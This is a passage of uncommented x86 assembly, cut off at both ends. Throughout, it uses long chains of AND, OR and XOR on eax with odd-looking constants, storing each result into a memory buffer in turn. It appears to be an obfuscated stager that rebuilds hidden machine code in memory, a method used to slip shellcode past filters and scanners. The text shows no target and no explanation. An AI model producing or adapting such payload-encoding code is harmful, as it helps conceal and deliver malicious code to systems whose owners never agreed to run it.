add ebx, edx
or eax, 0x644ed38c
or eax, 0x474efaf2
and eax, 0x450b1074
or eax, 0x8800400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d518545
xor eax, 0x36884172
and eax, 0x44400040
or eax, 0xa80d0398
mov dword [ebx], eax
add ebx, edx
and eax, 0x58debd96
and eax, 0x48400110
or eax, 0x35904c2b
mov dword [ebx], eax
add ebx, edx
or eax, 0x72502a53
and eax, 0x179269fb
and eax, 0x4100909
or eax, 0xc8458200
mov dword [ebx], eax
add ebx, edx
and eax, 0x12ebed54
and eax, 0x18800
or eax, 0x89006283
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e272d47
and eax, 0x2404b3f0
and eax, 0x4008040
or eax, 0x418b4c15
mov dword [ebx], eax
add ebx, edx
or eax, 0x72adefd
and eax, 0x44011af4
or eax, 0xa8442100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f7cd784
and eax, 0x1092070
or eax, 0x4c82030c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b322404
and eax, 0x4090350
or eax, 0xa8442880
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c7a5a1a
and eax, 0x440b1b50
or eax, 0x11800025
mov dword [ebx], eax
add ebx, edx
or eax, 0xeee05e7
and eax, 0x37ff396a
and eax, 0x14451940
or eax, 0xc010229c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a0ef22
and eax, 0x10253fd6
and eax, 0x10054
or eax, 0x458a0829
mov dword [ebx], eax
add ebx, edx
or eax, 0x622417af
xor eax, 0x778db277
and eax, 0x10000180
or eax, 0xa4450230
mov dword [ebx], eax
add ebx, edx
and eax, 0x47549931
xor eax, 0x5d81b15a
and eax, 0x49810060
or eax, 0x40a0b15
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe040ff9
and eax, 0x400d0084
or eax, 0xa8402b60
mov dword [ebx], eax
add ebx, edx
and eax, 0x1649a857
or eax, 0x74ed5887
and eax, 0x74cc4803
or eax, 0x9000538
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3918cad3
and eax, 0x44548308
or eax, 0x90010801
mov dword [ebx], eax
add ebx, edx
and eax, 0x33cfe426
and eax, 0x18000
or eax, 0x89006a83
mov dword [ebx], eax
add ebx, edx
or eax, 0x544309dd
and eax, 0x4503c055
or eax, 0x881400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b125fc4
and eax, 0xc010b80
or eax, 0xa0443044
mov dword [ebx], eax
add ebx, edx
or eax, 0x316c248c
and eax, 0x2d0d0c
or eax, 0x828003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4bafcf3b
and eax, 0x49000000
or eax, 0x48b0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x279b8e14
and eax, 0x6c090a14
or eax, 0x804431e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2670fb8d
and eax, 0x218009
or eax, 0x820d06
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27ee6a6a
and eax, 0x5090000
or eax, 0x50820000
mov dword [ebx], eax
add ebx, edx
or eax, 0x20978f3f
and eax, 0x24958928
or eax, 0xc0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17f6c1c0
and eax, 0x3634828
or eax, 0x889cb7d7
mov dword [ebx], eax
add ebx, edx
or eax, 0x13ea7374
or eax, 0x7f310a58
and eax, 0x8589d045
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3dca6d27
and eax, 0xbdcbfd20
or eax, 0x42340200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37bd976b
and eax, 0x8040480b
or eax, 0x3a80580
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ac709f6
and eax, 0x498901c1
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x773be8cf
and eax, 0x20908908
or eax, 0x40502e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x23ed61f
or eax, 0x62c88790
and eax, 0x22dc8798
or eax, 0x19237867
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f2d2cd2
and eax, 0x7fff2095
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a5c0786
or eax, 0x7b81de55
and eax, 0x8b227d57
or eax, 0x5800a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x657996c3
xor eax, 0x26de1908
and eax, 0x5220041
or eax, 0x4019d004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16bb4423
and eax, 0x43001444
or eax, 0x84096980
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38ce6c79
and eax, 0x11005
or eax, 0x8c40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65ba65fb
and eax, 0x5de6564a
and eax, 0x5a20000
or eax, 0x2490000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7877cdc1
and eax, 0x9c45c1
or eax, 6
mov dword [ebx], eax
add ebx, edx
and eax, 0x48866269
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ae453b6
and eax, 0x41205004
or eax, 0xc038c49
mov dword [ebx], eax
add ebx, edx
or eax, 0x763af2c9
and eax, 0xb1a748c
or eax, 0x80400010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c81b525
or eax, 0xc1c53e4
and eax, 0x9589d055
or eax, 0x2400
mov dword [ebx], eax
add ebx, edx
or eax, 0xaa4c0bc
and eax, 0x9fadf41c
or eax, 0x60520b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x339bc862
xor eax, 0x38f5cbde
and eax, 0x81000480
or eax, 0x8e0410b
mov dword [ebx], eax
add ebx, edx
and eax, 0x2064e0e1
or eax, 0x277a6990
and eax, 0x277a0881
or eax, 0xd8851004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bb54f54
xor eax, 0x2ccc8b73
and eax, 0xe00488a2
or eax, 0x1449035d
mov dword [ebx], eax
add ebx, edx
or eax, 0x79c0380a
and eax, 0x89018183
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ad843ac
or eax, 0x4f6dc8f0
and eax, 0x509c040
or eax, 0x9082340d
mov dword [ebx], eax
add ebx, edx
and eax, 0x424348b1
and eax, 0x34000
or eax, 0xfffcbf1c
mov dword [ebx], eax
add ebx, edx
or eax, 0x6101215e
and eax, 0xff18951a
or eax, 0x21
mov dword [ebx], eax
add ebx, edx
and eax, 0x62a025dc
or eax, 0x4a8f3463
and eax, 0x80d357b
or eax, 0x170ca84
mov dword [ebx], eax
add ebx, edx
or eax, 0xb8f5d75
and eax, 0x19845c7
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6507b3d7
xor eax, 0x61476dd7
and eax, 0
or eax, 0xeb000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f964a85
and eax, 0x80044205
or eax, 0x18418502
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b3889a9
xor eax, 0x66a444b4
xor eax, eax
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9391cdb
xor eax, 0x67b5ef5c
and eax, 0x228c4183
or eax, 0x1500408
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ee7e4b1
xor eax, 0x4b2008b9
and eax, 0x548800
or eax, 0x8201045
mov dword [ebx], eax
add ebx, edx
and eax, 0x670a1d48
or eax, 0x544a042f
and eax, 0x400c0b
or eax, 0x23a44180
mov dword [ebx], eax
add ebx, edx
and eax, 0x393757ce
xor eax, 0x5798bdc4
and eax, 0x34c84c
or eax, 0x8410001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b6d2de2
xor eax, 0x7fa1e3c
and eax, 0x20c05183
or eax, 0x1b140408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63fbf2d
xor eax, 0x71321a6e
and eax, 0x859d040
or eax, 0x1240015
mov dword [ebx], eax
add ebx, edx
or eax, 0x3fc75229
xor eax, 0xcf5242f
and eax, 0x3004402
or eax, 0x80b00189
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf1f2415
xor eax, 0x297360ad
and eax, 0x5880100
or eax, 0x400100c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f3aefa0
and eax, 0x5e09e9a0
or eax, 0xa0400010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30221cb6
xor eax, 0x35fed3f5
and eax, 0x428026f3
or eax, 0x68d90c
mov dword [ebx], eax
add ebx, edx
and eax, 0x5cffa0eb
or eax, 0x24fabac1
and eax, 0x600002e1
or eax, 0x88000104
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b273489
and eax, 0x2226c
or eax, 0x4081
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4940cfe2
and eax, 0x9400d0b
or eax, 0x32a44080
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fda9315
xor eax, 0x326c29b9
and eax, 0xd10b404
or eax, 0x106d0049
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c8a4ba
and eax, 0x4e6df1e7
and eax, 0x400000
or eax, 0x8384558b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c3b4e0f
and eax, 0x7807c6a2
and eax, 0x10080
or eax, 0x5588016a
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bdde4ca
and eax, 0x444581c0
or eax, 0x80000a04
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ea86aa
and eax, 0x74356875
and eax, 0x240020
or eax, 0x3b984513
mov dword [ebx], eax
add ebx, edx
or eax, 0x7597bf7
and eax, 0x97d7045
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5514396b
and eax, 0x15c490b
or eax, 0x82800480
mov dword [ebx], eax
add ebx, edx
and eax, 0x7389ba23
and eax, 0x1880001
or eax, 0x4c0101c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e17afb7
and eax, 0x4c158bd4
or eax, 0x90400008
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cb72ab3
and eax, 0x70d1aa81
or eax, 0x1004000
mov dword [ebx], eax
add ebx, edx
and eax, 0x18c36b82
and eax, 0x58c68e0a
and eax, 0x10800000
or eax, 0x45090001
mov dword [ebx], eax
add ebx, edx
or eax, 0x77923848
xor eax, 0xcbc7202
and eax, 0x60050a48
or eax, 0x80408194
mov dword [ebx], eax
add ebx, edx
or eax, 0x66dbc191
and eax, 0x80dc4101
or eax, 0x9000402
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39160f14
xor eax, 0x649db7e9
and eax, 0x43e044
or eax, 0x9a80001
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e00a5f2
and eax, 0x2c403fb4
and eax, 0
or eax, 0x83e04d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3983c9ed
and eax, 0x8010040
or eax, 0x45880181
mov dword [ebx], eax
add ebx, edx
or eax, 0x21d5edb
and eax, 0x47c4cfcd
and eax, 0x40040bc0
or eax, 0xa0518020
mov dword [ebx], eax
add ebx, edx
or eax, 0x44dbdecb
and eax, 0x4dc552b
or eax, 0xb200010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5177fa43
and eax, 0xa908
or eax, 0x5085
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f3f7986
and eax, 0xc058000
or eax, 0xc0400b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x63a49655
and eax, 0x89018801
or eax, 0x6082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b3803f0
or eax, 0x76f9fe21
and eax, 0x4489cc41
or eax, 0x9020004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7808824b
and eax, 0x48d02d2b
and eax, 0x800008
or eax, 0x14183b0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1923a009
and eax, 0x1000008
or eax, 0x8ab84d81
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39532b78
and eax, 0x102b4451
or eax, 0x45108804
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b52b074
or eax, 0x4e02a005
and eax, 0xb117c54
or eax, 0x80000180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19666beb
xor eax, 0x4e3658eb
and eax, 0xc8014844
or eax, 0x2082a001
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d92599d
and eax, 0xe8018901
or eax, 0x440000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a157e63
and eax, 0x2504502
or eax, 0x21a80889
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ac6ec1
xor eax, 0x612c98c3
and eax, 0x50e008
or eax, 0x10250845
mov dword [ebx], eax
add ebx, edx
or eax, 0x405189c9
and eax, 0x10444189
or eax, 0x23801402
mov dword [ebx], eax
add ebx, edx
or eax, 0xc407b97
and eax, 0x11443415
or eax, 0x308040
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e914d46
xor eax, 0x70824f97
and eax, 0x30904183
or eax, 0xb280408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x584bacdf
and eax, 0x171e044
or eax, 0x80c1401
mov dword [ebx], eax
add ebx, edx
and eax, 0x431b2742
and eax, 0x1000400
or eax, 0x82c0498b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c7dc3e3
and eax, 0x4917c7ff
and eax, 0x49010068
or eax, 0x4880181
mov dword [ebx], eax
add ebx, edx
and eax, 0x48dc3136
and eax, 0x40000100
or eax, 0x80558ac0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b0e4aea
and eax, 0x280
or eax, 0x8901c003
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cd91411
and eax, 0x10001
or eax, 0x458ac054
mov dword [ebx], eax
add ebx, edx
xor eax, 0x721f09e9
and eax, 0x18081ac
or eax, 0x400200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7eb5cd6a
and eax, 0xb244480
or eax, 0x80880109
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e254e78
and eax, 0x8200408
or eax, 0x4503b845
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ddc41d6
and eax, 0x48000004
or eax, 0xa04d3ba8
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a0f4c9b
and eax, 0x90808
or eax, 0x55821074
mov dword [ebx], eax
add ebx, edx
and eax, 0x4fddf6c3
and eax, 0xf58d48d
and eax, 0x4000000
or eax, 0xd05503b4
mov dword [ebx], eax
add ebx, edx
and eax, 0x7316fe0e
and eax, 0x40000004
or eax, 0x58b0870
mov dword [ebx], eax
add ebx, edx
and eax, 0x52068472
xor eax, 0x690703dd
and eax, 0x80503a4
or eax, 0xd0403840
mov dword [ebx], eax
add ebx, edx
or eax, 0x1545dd8c
or eax, 0x5d96b4cb
and eax, 0x4d83086c
or eax, 0x80010
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e9bde41
xor eax, 0x4776f78c
and eax, 0x84d29f0
or eax, 0xc0001200
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a494567
and eax, 0x40090975
or eax, 0x15820008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x591337b9
and eax, 0x800284
or eax, 0x1428130
mov dword [ebx], eax
add ebx, edx
or eax, 0x39dc7064
and eax, 0xfd15ee0
and eax, 0x9905080
or eax, 0x82240509
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ea86344
and eax, 0x6a08a3fe
and eax, 0
or eax, 0x4523cc45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10672af8
and eax, 0x14048084
or eax, 0x810940
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b11ef0a
and eax, 0xb9466ce
or eax, 0x806b9931
mov dword [ebx], eax
add ebx, edx
or eax, 0x249d3801
xor eax, 0x1b9f9883
and eax, 0x8400604c
or eax, 0x9898801
mov dword [ebx], eax
add ebx, edx
or eax, 0x43022b10
or eax, 0x58a97787
and eax, 0xdfabff10
or eax, 0x20540000
mov dword [ebx], eax
add ebx, edx
or eax, 0x71f39322
or eax, 0x487a06cd
and eax, 0x83cc558b
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0xd9e5b0d
or eax, 0x1431b529
and eax, 0x158901aa
or eax, 0x40000040
mov dword [ebx], eax
add ebx, edx
and eax, 0x9775e25
and eax, 0x10000
or eax, 0x14848bcc
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c97ddff
and eax, 0x1897dfff
or eax, 0x23682000
mov dword [ebx], eax
add ebx, edx
or eax, 0x36b302d
and eax, 0x3bff1085
or eax, 0xc4000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e61d91a
and eax, 0x8b3d599f
or eax, 0x2460
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ec72f71
or eax, 0x5784b5c6
and eax, 0x452ab44c
or eax, 0x8010801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x324b0f57
or eax, 0x3c56b07e
and eax, 0xb343030
or eax, 0x80014480
mov dword [ebx], eax
add ebx, edx
or eax, 0x298ac88c
and eax, 0x7812df13
and eax, 0x2d010
or eax, 0x55092045
mov dword [ebx], eax
add ebx, edx
or eax, 0x34be8ad9
and eax, 0x4958890
or eax, 0x8000120
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53bcf631
and eax, 0xb297f81
or eax, 0x80d6807e
mov dword [ebx], eax
add ebx, edx
and eax, 0x26b0d5f9
and eax, 0x80c441
or eax, 0x85092804
mov dword [ebx], eax
add ebx, edx
or eax, 0x531c6a84
and eax, 0xd79dee00
or eax, 0x28621108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f0f781
and eax, 0x4b56d217
and eax, 0x2000001
or eax, 0x81b04d8a
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e0dc9dd
or eax, 0x6f14e4a0
and eax, 0x4d000181
or eax, 0x890040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2933f262
and eax, 0x49083a0
or eax, 0x8050810
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d94f2b0
and eax, 0x1995fbb0
or eax, 0x226a044f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35b13fc1
and eax, 0xe4e0014
or eax, 0xf1b10881
mov dword [ebx], eax
add ebx, edx
and eax, 0x6cc847d0
and eax, 0x8080090
or eax, 0x83017d6f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cc1c7cb
and eax, 0xc080b004
or eax, 0x28030441
mov dword [ebx], eax
add ebx, edx
or eax, 0x35f79a1f
or eax, 0x5c177fcc
and eax, 0xb4458901
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0xe2d4150
or eax, 0x743c74f9
and eax, 0x2c4589
or eax, 0x83800802
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f4c6f77
and eax, 0x4c8000e8
or eax, 0x1090101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a553e47
and eax, 0x16d029ac
or eax, 0xe822c000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bf10985
xor eax, 0x47733b04
and eax, 0x5833280
or eax, 0x5008cd7f
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e284a3b
xor eax, 0x6633fb21
and eax, 0x1000cc
or eax, 0xc4452b20
mov dword [ebx], eax
add ebx, edx
or eax, 0xe4ca389
and eax, 0x44092264
or eax, 0x1821010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ffba7c9
and eax, 0x6081b8
or eax, 0x1880200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ac7945d
xor eax, 0x1c895ce9
and eax, 0x3a04108
or eax, 0x88180481
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ecd9c34
and eax, 0x7b5e5531
and eax, 0x9081001
or eax, 0x8481a84c
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d6b18de
and eax, 0xd091804
or eax, 0xf2f6e700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7051cd9b
and eax, 0x89a4108b
or eax, 0x504500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73a74201
and eax, 0xfa530080
or eax, 0x5ac0015
mov dword [ebx], eax
add ebx, edx
or eax, 0x5905ed4
and eax, 0x2da6fe27
and eax, 0x24040a05
or eax, 0xd04181fa
mov dword [ebx], eax
add ebx, edx
or eax, 0x21932843
and eax, 0x8101a883
or eax, 0x8004000
mov dword [ebx], eax
add ebx, edx
or eax, 0x9a53153
and eax, 0x8981f041
or eax, 0x40a0404
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d797625
xor eax, 0x77a1a00b
and eax, 0x9a5a5604
or eax, 0x65a5a900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10e2ad90
and eax, 0xef000010
or eax, 0x10008d2b
mov dword [ebx], eax
add ebx, edx
and eax, 0x738d02b
and eax, 0x600802b
or eax, 0x187c7fd4
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fbf5599
and eax, 0x1bc0558b
or eax, 0x20000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x375c6b25
and eax, 0x41c1804
or eax, 0x1260c051
mov dword [ebx], eax
add ebx, edx
and eax, 0x779f3559
and eax, 0x21a47542
and eax, 0x40000
or eax, 0xfd0458b
mov dword [ebx], eax
add ebx, edx
and eax, 0xc82fd31
xor eax, 0x4b3080b6
and eax, 0x5a045a7
or eax, 0x80440008
mov dword [ebx], eax
add ebx, edx
and eax, 0x318ac984
or eax, 0x31e7e4b1
and eax, 0x1046480
or eax, 0x8a101040
mov dword [ebx], eax
add ebx, edx
and eax, 0x6cab658d
and eax, 0x8002400
or eax, 0xa70f884d
mov dword [ebx], eax
add ebx, edx
and eax, 0x1eeb2fad
xor eax, 0x616a036
and eax, 0x8058809
or eax, 0xc1806044
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f448e0a
xor eax, 0x76ac822d
and eax, 0x15880824
or eax, 0x40030150
mov dword [ebx], eax
add ebx, edx
or eax, 0x643897ce
and eax, 0x1aa83bc
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
or eax, 0xac59db6
and eax, 0xbac1588
or eax, 0x80104001
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ba7af87
and eax, 0x240001
or eax, 0x10844
mov dword [ebx], eax
add ebx, edx
and eax, 0x38724de6
and eax, 0x7255db23
and eax, 0
or eax, 0x74400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1400e2f6
or eax, 0x294c32af
and eax, 0x2844c206
or eax, 0x80010400
mov dword [ebx], eax
add ebx, edx
or eax, 0x69edffc3
and eax, 0xc004eb01
or eax, 0x6000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x182aaffa
and eax, 0x8a000041
or eax, 0xa804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2aa42e00
or eax, 0x62af910d
and eax, 0x4088804d
or eax, 0xd002800
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ee155a8
or eax, 0x21d8356c
and eax, 0x9902028
or eax, 0x8003c881
mov dword [ebx], eax
add ebx, edx
and eax, 0x10f1c8ae
or eax, 0x1e28f0fc
and eax, 0x14890000
or eax, 0x41020000
mov dword [ebx], eax
add ebx, edx
or eax, 0x43e8497f
and eax, 0xe20108
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
and eax, 0xa7f37b8
and eax, 0
or eax, 0x74800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7512fa1a
and eax, 0x2500c202
or eax, 0x82450404
mov dword [ebx], eax
add ebx, edx
or eax, 0x17a55b81
or eax, 0x2352ee31
and eax, 0x8604eb01
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
or eax, 0xa4f8ce0
and eax, 0x8a00a741
or eax, 4
mov dword [ebx], eax
add ebx, edx
and eax, 0x40eebb6c
and eax, 0xa344
or eax, 0x45880401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b6ff39b
and eax, 0x2c45008a
or eax, 0x80088b21
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b91ce2b
or eax, 0x77ad204b
and eax, 0x7dfc4d2b
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x512bcf88
or eax, 0x60a21ff0
and eax, 0x4458701
or eax, 0x90004008
mov dword [ebx], eax
add ebx, edx
and eax, 0x72427f37
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x74a196d3
or eax, 0xb06978b
and eax, 0x458707cb
or eax, 0x400020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4fa27aa1
and eax, 0
or eax, 0x94
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c40e01d
and eax, 0
or eax, 0xf4558b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a496e6b
and eax, 0x8814450b
or eax, 0x1801000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79b40ba
and eax, 0x8e0e1491
or eax, 0x71f0e804
mov dword [ebx], eax
add ebx, edx
and eax, 0x65bfaf9e
or eax, 0x74a1035f
and eax, 0x74058bdf
or eax, 0x80400020
mov dword [ebx], eax
add ebx, edx
or eax, 0x4510701c
and eax, 0x8101c083
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11576954
and eax, 0x9802a045
or eax, 0x25815400
mov dword [ebx], eax
add ebx, edx
and eax, 0x15f9fc59
and eax, 0x1581f440
or eax, 0xea7e0abc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3753f07
xor eax, 0x5db2fb9f
and eax, 0x81083000
or eax, 0xa004500
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d8a0cac
and eax, 0xd0a580c
or eax, 0x40218041
mov dword [ebx], eax
add ebx, edx
or eax, 0x25237b23
xor eax, 0x63132e1e
and eax, 0xa085440
or eax, 0x8101208c
mov dword [ebx], eax
add ebx, edx
or eax, 0xcd5fa3c
and eax, 0x542ac1e9
and eax, 0x8040
or eax, 0xea833815
mov dword [ebx], eax
add ebx, edx
xor eax, 0x658ff8d
xor eax, 0x764ca27
and eax, 0xa8158901
or eax, 0x10400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3463a533
xor eax, 0x370c0991
and eax, 0x83200583
or eax, 0xc44008
mov dword [ebx], eax
add ebx, edx
and eax, 0x40a8cbc3
xor eax, 0xd652978
and eax, 0x58100e8
or eax, 0x40080100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77f3c8dc
or eax, 0x3233e6dc
and eax, 0x20498be4
or eax, 0xc8040000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62060c13
or eax, 0x4675f1c1
and eax, 0x4be181
or eax, 0x30000800
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ce3470e
xor eax, 0x735d1cb1
and eax, 0x4d800000
or eax, 0x90000
mov dword [ebx], eax
add ebx, edx
or eax, 0x79ff79d4
or eax, 0x459ce51d
and eax, 0x605589c8
or eax, 0x80000220
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9acc2fa
or eax, 0x5c97ff8c
and eax, 0x89e8550a
or eax, 0x21
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b26d3a6
xor eax, 0x5c05d63f
and eax, 0x1218015
or eax, 0x8ca6040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5bab5c65
and eax, 0x2400400
or eax, 0x81a0418b
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f5e8a38
and eax, 0x1000000
or eax, 0x448901c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ddde0db
and eax, 0x604d81c0
or eax, 0x80000a20
mov dword [ebx], eax
add ebx, edx
and eax, 0x543a3d9d
xor eax, 0x340ff02b
and eax, 0x400492b
or eax, 0xbf00410
mov dword [ebx], eax
add ebx, edx
and eax, 0x7269c010
and eax, 0x4000
or eax, 0x1948d
mov dword [ebx], eax
add ebx, edx
and eax, 0xdbc8960
and eax, 0x8000
or eax, 0xfc550b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f5c1e1a
and eax, 0x4e343c4c
and eax, 0x8000000
or eax, 0x8101c283
mov dword [ebx], eax
add ebx, edx
or eax, 0x261cc2ca
xor eax, 0x204649d3
and eax, 0x50b8810
or eax, 0x40807445
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e9b945e
xor eax, 0x4df6219e
and eax, 0x204519c0
or eax, 0xdc00220c
mov dword [ebx], eax
add ebx, edx
and eax, 0x722d2538
or eax, 0x5a4a9fe
and eax, 0x4581297c
or eax, 0x80a0400
mov dword [ebx], eax
add ebx, edx
or eax, 0xe6afe90
and eax, 0x1e983d4
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7dd3e1d5
and eax, 0x60faeeff
and eax, 0x104001
or eax, 0x8bc40d88
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d4236c4
and eax, 0x46a23ad3
and eax, 0x4021041
or eax, 0x5131c414
mov dword [ebx], eax
add ebx, edx
xor eax, 0x216d644
or eax, 0x4c0bbcf0
and eax, 0xb2234b0
or eax, 0x80404000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3dade2a1
xor eax, 0x23b461d4
and eax, 0x2a040044
or eax, 0x850bc801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73775c91
and eax, 0x44388044
or eax, 0x1036801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f8ac4b1
and eax, 0xa102cf4
or eax, 0x81465100
mov dword [ebx], eax
add ebx, edx
and eax, 0x14013121
and eax, 0x1000
or eax, 0x4d0bc04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x19ba5eb9
and eax, 0x75584cec
and eax, 0x10844a4
or eax, 0x8a463010
mov dword [ebx], eax
add ebx, edx
or eax, 0x11b073b
and eax, 0x663ca25
and eax, 0x30005
or eax, 0x5508ac50
mov dword [ebx], eax
add ebx, edx
xor eax, 0x375416cd
xor eax, 0x23bdb845
and eax, 0x14200d8
or eax, 0x8a047400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x366c88af
and eax, 0x8002c845
or eax, 0x40810000
